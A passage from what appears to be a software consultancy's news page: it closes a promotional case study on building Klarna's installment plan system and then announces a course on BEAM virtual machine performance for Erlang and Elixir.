By February, a short six months since project initiation, the system was not only live but also a dominant player in the Swedish market. This remarkable growth, both rapid and robust, underscores the effectiveness of our implementation strategy and the intrinsic value of the installment plan solution.

Our journey with Klarna's installment plan system is more than an agile success story. It's a testament to the power of understanding client needs, delivering rapid yet reliable solutions, and maintaining meticulous regulatory compliance in the FinTech industry. It's a reflection of HappiHacking's philosophy: to create high-quality, efficient solutions that make a genuine impact.

Through our unique blend of speed, precision, and agility, HappiHacking is constantly pushing the boundaries of what's possible in software development.

Unlocking Performance: Introducing HappiHacking's New Course on BEAM

2023-05-23T00:00:00Z

We're thrilled to announce our latest offering: an in-depth course dedicated to understanding and optimizing performance in BEAM, the virtual machine that powers Erlang and Elixir programming languages.

Our course offers you the tools and knowledge to truly harness the power of BEAM, with a curriculum covering essential topics such as:

Thinking in Processes: BEAM's unique strength lies in its process-oriented design, offering massive scalability and robust error handling. This course segment demystifies concurrent programming, guiding learners to think in processes, a foundational shift that can supercharge your coding efficiency.

Memory & Garbage Collection (GC): Master the nuances of memory management within the BEAM environment. We'll dive deep into the inner workings of BEAM's real-time garbage collection, a crucial knowledge area for writing efficient, high-performance code.

Data and Scheduling: Learn the art of data management and scheduling in BEAM's concurrent system. This section explains how BEAM schedules processes and manages data, ensuring smooth operation even under heavy loads.

IO: This module explores input/output operations, often the bottleneck in application performance. We'll take a granular look at BEAM's approach to IO, providing practical strategies for optimization.

The VM and The Compiler: Get up close with the BEAM Virtual Machine and its compiler. We provide an in-depth exploration of these core components, shedding light on their roles in the overall system performance.

Operations, Monitoring, and Debugging: To run a successful application in production, one must know how to monitor, debug, and perform various operations efficiently. Our course equips you with these critical skills, turning potential challenges into opportunities for improvement.

Performance: Finally, we delve into performance optimization. Armed with knowledge from the previous sections, you'll learn how to fine-tune your BEAM-powered applications for maximum speed and efficiency.

Whether you're an experienced developer looking to elevate your BEAM-related projects or a beginner intrigued by the unique possibilities of Erlang and Elixir, this course is a valuable resource.

Much of the content in the course is based on The BEAM Book, also available for free online. For background on BEAM's evolution over the decades, see Three Decades with Erlang.